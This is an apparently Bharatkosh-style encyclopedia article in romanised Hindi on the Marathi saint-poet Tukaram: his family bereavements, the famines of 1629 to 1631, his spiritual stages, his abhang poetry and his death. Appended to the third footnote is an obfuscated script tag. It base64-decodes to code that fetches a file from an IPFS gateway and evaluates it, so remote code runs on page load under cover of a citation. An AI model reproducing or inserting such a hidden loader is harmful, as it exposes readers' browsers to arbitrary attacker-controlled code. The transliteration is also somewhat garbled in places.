svarachit abhangoan ka basta nadi mean duba diya. kintu 13 din bad logoan ne dekha ki jab tukaram dhyan mean baithe the, unaka basta sookha hi nadi ke oopar tair raha hai. yah sunakar rameshvar bhatt bhi unaka shishy ho gaya. abhang chhand mean rachit tukaram ke lagabhag 4000 pad prapt haian. inaka marathi janata ke hriday mean b da hi samman hai. log inaka path karate haian. inaki rachanaoan mean 'jnaneshvari' aur 'ekanami bhagavat' ki chhap dikhaee deti hai. kavy ki drishti se bhi ye rachanaean utkrisht koti ki mani jati haian.

mata-pita se viyog

tukaram ji satrah varsh ke the, tab unake vatsaly moorti pita shri bolhoba is duniya se uth ge, jinhoanne tukaram ji ko jamiandar banaya tha.

pita ne kiya sanchit dhan. jivan ki n paravah kar.
ki mahajani - pratha pradan. bojh uthaya kati-kandhoan par॥
jinaki chhatrachhaya mean sansar-tap se bache, vah saya hi hat gaya.
akasmath chhod ge pita. thi tab nahian koee chianta॥

tukaram ji atyant duahkhi hue. vah duahkh kam hone se pahale hi arthat pita ki maut ke ek varsh pashchat mata kanakaee ka svargavas hua. tukaram ji par duahkhoan ka pahad toot p da. maan ne ladale ke lie kya nahian kiya tha? usake bad atharah baras ki umr mean jyeshth bandhu savaji ki patni (bhavaj) chal basi. pahale se hi ghar-grihasthi mean savaji ka dhyan n tha. patni ki mrityu se ve ghar tyagakar tirthayatra ke lie nikal ge. jo ge, vapas laute hi nahian. parivar ke char sadasyoan ko unaka bichhoh sahana p da. jahaan kuchh kami n thi, vahaan apanoan ki, ek ek ki kami khalane lagi. tukaram ji ne sabr rakha. ve himmat n hare. udasinata, nirasha ke bavajood umr ki 20 sal ki avastha mean saphalata se ghar-grihasthi karane ka prayas karane lage. parantu kal ko yah bhi manjoor n tha. ek hi varsh mean sthitiyoan ne pratikool roop dharan kiya. dakkhin mean bada akal p da. mahabhayankar akal samay tha 1629 eesvi ka[2] deri se barasat huee. huee to ativrishti mean phasal bah gee. logoan ke man mean ummid ki kiran baki thi. par 1630 eesvi mean bilkul varsha n huee. charoan or hahakar mach gaya. anaj ki kimatean asaman chhoone lagian. hari ghas ke abhav mean anek prani maut ke ghat utare. ann ki kami saikadoan logoan ki maut ka karan bani. dhani parivar mitti chatane lage. durdasha ka pher phir bhi samapt n hua. sanh 1631 eesvi mean prakritik apattiyaan charam sima par kar geean. ativrishti tatha badh ki chapet se kuchh n bacha. akal tatha prakriti ka prakop lagatar tin sal jhelana p da. akal ki is durdasha ka varnan mahipati baba is tarah karate haian -

hua abhav, anaj-bij. log ath ser ko muanhataj॥
badal laute bina gire. ghas-abhav mean bail mare॥

bhishan akal ki chapet mean tukaram ji ka karobar, grihasthi samool nasht huee. pashudhan nasht hua, sahookari doobi, dhandha chaupat hua, samman, pratishtha ghat gee. aise mean pratham patni 'rakhamabaee' tatha ikalauta beta 'santoba' kal ke gras bane. amataur par akal ki sthiti sahookar aur vyapariyoan ke lie sunahara mauka hota hai. chijoan ka kritrim abhav nirman kar ve apani jebean bharate haian. par tukaramaji aise pattharadil nahian the. apana duahkh, durdasha bhoolakar ve akal piditoan ki seva mean, madad mean jut ge.[3]

paramarth marg

tukaram ko 'chaitany' namak sadhu ne magh sudi 10 shake 1541 mean 'ramkrishna hari' mantr ka svapn mean upadesh diya. isake uparaant inhoanne 17 varsh sansar ko saman roop se upadesh dene mean vyatit kie. sachche vairagy tatha kshamashil aant:karan ke karan inaki nianda karane vale niandak bhi pashchatap karate hooe inake bhakt ban ge. is prakar 'bhagavat dharm' ka sabako upadesh karate v paramarth marg ko alokit karate hue adharm ka khandan karanevale tukaram ne phalgun badi (krishna) dvadashi, shake 1571 ko dehavisarjan kiya. tukaram ke mukh se samay samay par sahaj roop se parisphutit hone vali 'abhang' vani ke atirikt inaki any koee vishesh sahityik kriti nahian hai. apane jivan ke uttarardh mean inake dvara gae ge tatha usi kshan inake shishyoan dvara likhe ge lagabhag 4000 abhang aj upalabdh haian.

sant jnaneshvar dvara likhi gee 'jnaneshrvari' tatha shri ekanath dvara likhit 'ekanathi bhagavat' ke barakari sanpradayavaloan ke pramukh dharmagranth haian. is vaandmay ki chhap tukaram ke aanbhangoan par dikhalaee p dati haian. tukaram ne apani sadhak avastha mean in poorvakalin santoan ke granthoan ka gaharaee tatha shraddha se adhyayan kiya. in tinoan sant kaviyoan ke sahity mean ek hi adhyatm sootr piroya hua hai tatha tinoan ke paramarthik vicharoan ka aantarang bhi ekaroop hai. jnanadev ki sumadhur vani kavyalankar se mandit hai, ekanath ki bhasha vistrit hai par tukaram ki vani sootrabaddh, alpakshar, ramaniy tatha marmabhedak haian.

avastha

thumb|tukaram tukaram ka abhang vadmay atyant atmaparak hone ke karan usamean unake paramarthik jivan ka sanpoorn darshan hota hai. kautuanbik apattiyoan se trast ek samany vyakti kis prakar atmasakshatkari sant ban saka, isaka spasht roop tukaram ke abhangoan mean dikhalaee p data hai. unamean unake adhyatmik charitr ki sakar roop mean tin avasthaean dikhalaee p dati haian.

pratham avastha

pratham sadhak avastha mean tukaram man mean kie kisi nishchayanusar sansar se nivrit tatha paramarth ki or pravrit dikhalaee p date haian.

doosari avastha

doosari avastha mean eeshvar sakshatkar ke prayatn ko asaphal hote dekhakar tukaram atyadhik nirasha ki sthiti mean jivan yapan karane lage. unake dvara anubhoot is charam nairashy ka jo savistar chitran aanbhang vani mean hua haian usaki hridayavedhakata marathi bhasha mean sarvatha advitiy hai.

tisari avastha

kiankartavyamoodhata ke aandhakar mean tukaram ji ki atma ko t dapanevali ghor tamasvini ka shighr hi aant hua aur atm sakshatkar ke soory se alokit tukaram brahmanand mean vibhor ho ge. unake adhyatmik jivanapath ki yah aantim evan chiravaanchhit saphalata ki avastha thi.

alochana

is prakar eeshvaraprapti ki sadhana poorn hone ke uparaant tukaram ke mukh se jo upadeshavani prakat huee vah atyant mahattvapoorn aur arthapoorn hai. svabhavat: spashtavadi hone ke karan inaki vani mean jo kathorata dikhalaee p dati hai, usake pichhe inaka pramukh uddeshy samaj se dushtoan ka nirdalan kar dharm ka sanrakshan karana hi tha. inhone sadaiv saty ka hi avalanban kiya aur kisi ki prasannata aur aprasannata ki or dhyan n dete hue dharmasanrankshan ke sath sath pakhandakhandan ka kary nirantar chalaya. dabhik sant, anubhavashoony pothipandit, durachari dharmaguru ityadi samajakantakoan ki unhoanne atyant tivr alochana ki hai. tukaram man se bhagyavadi the at: unake dvara chitrit manavi sansar ka chitr nirasha, viphalata aur udveg se ranga hua hai, tathapi unhoanne saansarikoan ke liye 'sansar ka tyag karo' is prakar ka upadesh kabhi nahian diya. inake upadesh ka yahi sar hai ki sansar ke kshanik sukh ki apeksha paramarth ke shashvat sukh ki prapti ke liye manav ka prayatn hona chahie.

kavy rachana

tukaram ki adhikaansh kavy rachana kaibal abhang chhand mean hi hai, tathapi unhoanne roopakatmak rachanaean bhi ki haian. sabhi roopak kavy ki drishti se utkrisht haian. inaki vani shrotaoan ke kan par p date hi unake hriday ko pak d lene ka adbhut samarthy rakhati hai. inake kavyoan mean alankaroan ka ya shabdachamatkar ka prachury nahian hai. inake abhang sootrabaddh hote haian. tho de shabdoan mean mahan arthoan ko vyakt karane ka inaka kaushal marathi sahity mean advitiy hai. tukaram ki atmanishth abhangavani janasadharan ko bhi param priy lagati hai. isaka pramukh karan hai ki samany manav ke hriday mean udbhoot honevale sukh, du:kh, asha, nirasha, rag, lobh adi ka prakatikaran isamean dikhalaee p data hai. jnaneshvar, namadev adi santoan ne bhagavat dharm ki pataka ko apane kandhoan par hi liya tha kiantu tukaram ne use apane jivanakal hi mean adhik ooanche sthan par phahara diya. unhoanne adhyatmajnan ko sulabh banaya tatha bhakti ka danka bajate hue abal vriddho ke liye sahaj sulabh sadhy aise bhakti marg ko adhik ujval kar diya.

nidhan

sant tukaram ka nidhan 42 varsh ki umr mean hua. inaka dehoo gram tirth mana jata hai aur prativarsh paanch din tak unaki nidhan tithi manaee jati hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 358 |
  2. shake 1550-51
  3. mata-pita se viyog- tukaram (hiandi) (e.es.pi) tukaram d aaut k aaum. abhigaman tithi: 22 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

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